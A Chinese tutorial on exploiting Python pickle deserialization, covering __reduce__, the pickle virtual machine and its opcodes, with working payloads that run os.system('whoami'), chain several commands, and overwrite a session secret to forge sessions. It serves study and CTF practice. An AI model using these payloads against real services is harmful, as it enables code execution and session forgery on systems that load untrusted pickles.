Pickle反序列化学习
什么是Pickle?
很简单,就是一个python的序列化模块,方便对象的传输与存储。但是pickle的灵活度很高,可以通过对opcode的编写来实现代码执行的效果,由此引发一系列的安全问题
Pickle使用
举个简单的例子
import pickle
class Person():
def __init__(self):
self.age = 18
self.name = 'F12'
p = Person()
opcode = pickle.dumps(p)
print(opcode)
person = pickle.loads(opcode)
print(person)
print(person.age)
print(person.name)
# 输出结果
# b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x03F12\x94ub.'
# <__main__.Person object at 0x00000297918FBF10>
# 18
# F12
pickle.dumps(p) 将对象序列化,同理pickle.loads(opcode)就是反序列化的过程
注意
值得注意的是在不同平台环境下pickle生成的opcode是不同的,例如在windows和linux环境下相同的对象,dumps下来的opcode就不一样
魔术方法__reduce__
object.__reduce__是object类的一个魔术方法,我们可以通过重写该方法,让该方法在反序列化时按我们的重写的方式执行,python要求该方法返回一个字符串或元组,如果返回元组 (callable, (param1, param2, )) ,那么每当反序列化时,就会调用 callable(param1, param2, ),我们可以控制callable和它的参数来实现代码执行
Pickle反序列化漏洞利用
import pickle
import os
class Exp():
def __reduce__(self):
return (os.system, ('whoami', ))
e = Exp()
opcode = pickle.dumps(e)
pickle.loads(opcode)
# 输出结果
sevydhodungnwjp\hacker
很明显在反序列化的过程时执行了 os.system('whoami'),这是pickle反序列化漏洞的最简单的利用方式,要掌握更加高级的利用手法,我们还得继续深入学习pickle
Pickle的工作原理
opcode的解析依靠Pickle Virtual Machine (PVM)进行
PVM由以下三部分组成
- 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到
.这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。 - stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
- memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。
- v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
- v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
- v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307。
- v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
- v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154。
pickle协议是向前兼容的,v0版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。下面我们以v0版本为例,介绍一下opcode指令
常用opcode指令介绍
| opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
|---|---|---|---|---|
| c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)会加入self.stack | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
| o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
| i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
| N | 实例化一个None | N | 获得的对象入栈 | 无 |
| S | 实例化一个字符串对象 | S'xxx'\n(也可以使用双引号、\'等python字符串形式) | 获得的对象入栈 | 无 |
| V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
| I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
| F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
| R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
| . | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
| ( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
| t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| ) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
| l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| ] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
| d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| } | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
| p | 将栈顶对象储存至memo_n(记忆栈) | pn\n | 无 | 对象被储存 |
| g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
| 0 | 丢弃栈顶对象(self.stack) | 0 | 栈顶对象被丢弃 | 无 |
| b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
| s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
| u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
| a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
| e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
更多的opcode指令可以查看pickle.py获取
PVM工作流程
嫖的动图
PVM解析str

PVM解析__reduce__:

手写opcode
举个简单的opcode例子:
opcode = '''cos # c[moudle]\n[instance]\n
system # 前两句相当于导入os模块,调用system
(S'whoami' # ( 压入MARK标记 , S'whoami' 压入 whoami字符串
tR. # t 寻找栈中的上一个MARK,并组合之间的数据为元组,也就是('whoami')
''' # R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,即os.system('whoami')
# . 程序结束,栈顶的一个元素作为pickle.loads()的返回值,返回值就是os.system('whoami')的执行结果
程序:
import pickle
opcode = '''cos
system
(S'whoami'
tR.
'''
pickle.loads(opcode.encode())
# 运行结果
sevydhodungnwjp\hacker
pickletools介绍
pickletools模块可以将opcode指令转变成易读的形式:
import pickletools
opcode = '''cos
system
(S'whoami'
tR.
'''
print(pickletools.dis(opcode.encode()))

多命令执行
在上面描述的修改reduce来达到命令执行的效果,一次只能执行一条命令,想要多命令执行就只能通过手写opcode来实现,只要不碰到.导致程序结束返回就能一直执行命令
import pickle
opcode = '''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.
'''
pickle.loads(opcode.encode())
# 运行结果
sevydhodungnwjp\hacker
sevydhodungnwjp\hacker
R,i,o介绍
在opcode里能执行函数的字节码就是R,i,o
- R
opcode=b'''cos
system
(S'whoami'
tR.
'''
- i : 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
opcode=b'''(S'whoami'
ios
system
.'''
- o : 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
opcode=b'''(cos
system
S'whoami'
o.'''
实例化对象
实例化对象也是一种变相的函数执行,因为python不需要new 一个对象(bushi
import pickle
class Person():
def __init__(self, age, name):
self.age = age
self.name = name
opcode = '''c__main__
Person
(I18
S'F12'
tR.
'''
p = pickle.loads(opcode.encode())
print(p.age)
print(p.name)
# 运行结果
18
F12
变量覆盖
也是一个nb的利用手段,通常python框架使用了session时都会有个secret,我们可以通过覆盖掉这个secret来伪造session
secret = "F13"
import pickle
import secret
print("一开始:"+ secret.secret)
opcode = b'''c__main__
secret
(S'secret'
S'F12'
db.
'''
fake = pickle.loads(opcode)
print("最后:"+ fake.secret)
# 运行结果
一开始:F13
最后:F12
首先通过c来获取main.secret模块,然后将MARK标记压入栈,字符串secret,F12压入栈,d将两个字符串组合成字典也就是{'secret': 'F12'}的形式,由于在pickle中,反序列化的数据都是以key-value的形式存储的,所有main.secret 也就是 {'secret': 'F13'},b执行dict.update(),也就是{'secret': 'F13'}.update({'secret': 'F12'}),最终secret变成了F12
Pker工具介绍
一个方便生成所需要opcode代码的工具:https://github.com/eddieivan01/pker
仿python语法生成opcode,使用方法很简单
Pickle反序列化学习的更多相关文章
- 从零开始的pickle反序列化学习
前言 在XCTF高校战疫之中,我看到了一道pickle反序列化的题目,但因为太菜了花了好久才做出来,最近正好在学flask,直接配合pickle学一下. 找了半天终于找到一个大佬,这里就结合大佬的文章 ...
- PHP序列化与反序列化学习
序列化与反序列化学习 把对象转换为字节序列的过程称为对象的序列化:把字节序列恢复为对象的过程称为对象的反序列化. <?php class UserInfo { public $name = &q ...
- PHP Phar反序列化学习
PHP Phar反序列化学习 Phar Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件.它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句. 默认开启版 ...
- Python:pickle模块学习
1. pickle模块的作用 将字典.列表.字符串等对象进行持久化,存储到磁盘上,方便以后使用 2. pickle对象串行化 pickle模块将任意一个python对象转换成一系统字节的这个操作过程叫 ...
- python_76_json与pickle反序列化2
import pickle def say(name):#序列化时用完会释放,要想反序列化,要重新写上该函数,否则会出错 print('我的高中:', name)#可以和之前的序列化函数不同 f=op ...
- weblogic-CVE-2020-2551-IIOP反序列化学习记录
CORBA: 具体的对CORBA的介绍安全客这篇文章https://www.anquanke.com/post/id/199227说的很详细,但是完全记住是不可能的,我觉得读完它要弄清以下几个点: 1 ...
- python反序列化学习记录
pickle与序列化和反序列化 官方文档 模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化. "pickling" 是将 Python 对象及其所拥 ...
- RMI反序列化学习
RMI学习 1.RMI简介 RMI(Remote Method Invocation),远程方法调用方法,其实就是本地java虚拟机要调用其他java虚拟机的方法,两个虚拟机可以是运行在相同计算机上的 ...
- 【python标准库模块四】Json模块和Pickle模块学习
Json模块 原来有个eval函数能能够从字符串中提取出对应的数据类型,比如"{"name":"zhangsan"}",可以提取出一个字典. ...
- phar 反序列化学习
前言 phar 是 php 支持的一种伪协议, 在一些文件处理函数的路径参数中使用的话就会触发反序列操作. 利用条件 phar 文件要能够上传到服务器端. 要有可用的魔术方法作为"跳板&qu ...
随机推荐
- Reformer 模型 - 突破语言建模的极限
Reformer 如何在不到 8GB 的内存上训练 50 万个词元 Kitaev.Kaiser 等人于 20202 年引入的 Reformer 模型 是迄今为止长序列建模领域内存效率最高的 trans ...
- STM32CubeMX教程2 GPIO输出 - 点亮LED灯
1.准备材料 开发板(STM32F407G-DISC1) ST-LINK/V2驱动 STM32CubeMX软件(Version 6.10.0) keil µVision5 IDE(MDK-Arm) 2 ...
- 云MSP技本功|redis的5种对象与8种数据结构之字符串对象(下)
简介: 引言 本文是对<redis设计与实现(第二版)>中数据结构与对象相关内容的整理与说明.本篇文章只对对象结构,1种对象--字符串对象.以及字符串对象所对应的两种编码--raw和emb ...
- java桌面小闹钟
写了个桌面的小闹钟,在运行环境可以编译,但是打包成jar文件,想用批处理命令直接调用报错"找不到或无法加载主类". 需求 为防止整天久坐,编写一个桌面闹钟.该闹钟功能很简单,一个小 ...
- Tailscale 基础教程:Headscale 的部署方法和使用教程
Tailscale 是一种基于 WireGuard 的虚拟组网工具,它在用户态实现了 WireGuard 协议,相比于内核态 WireGuard 性能会有所损失,但在功能和易用性上下了很大功夫: 开箱 ...
- 解决 cv2.destroyAllWindows() 无效问题
方法一 示例代码: import cv2 import numpy as npimg = np.zeros((512,512),np.uint8)#生成一个空灰度图像 cv2.line(img,(0, ...
- 欢迎使用CSDN-markdown编辑器测试
这里写自定义目录标题 欢迎使用Markdown编辑器 新的改变 功能快捷键 合理的创建标题,有助于目录的生成 如何改变文本的样式 插入链接与图片 如何插入一段漂亮的代码片 生成一个适合你的列表 创建一 ...
- 简化业务代码开发:看Lambda表达式如何将代码封装为数据
摘要:在云服务业务开发中,善于使用代码新特性,往往能让开发效率大大提升,这里简单介绍下lambad表达式及函数式接口特性. 1.Lambda 表达式 Lambda表达式也被称为箭头函数.匿名函数.闭包 ...
- 火山引擎 DataTester 升级:降低产品上线风险,助力产品敏捷迭代
更多技术交流.求职机会,欢迎关注字节跳动数据平台微信公众号,并进入官方交流群 在企业竞争加剧的今天,精益开发和敏捷迭代已成为产品重要的竞争力.如何保障每一次 Feature 高效迭代与安全,如何快速实 ...
- 火山引擎云原生数据仓库 ByteHouse 技术白皮书 V1.0 (Ⅲ)
更多技术交流.求职机会,欢迎关注字节跳动数据平台微信公众号,回复[1]进入官方交流群 近日,<火山引擎云原生数据仓库 ByteHouse 技术白皮书>正式发布.白皮书简述了 ByteHou ...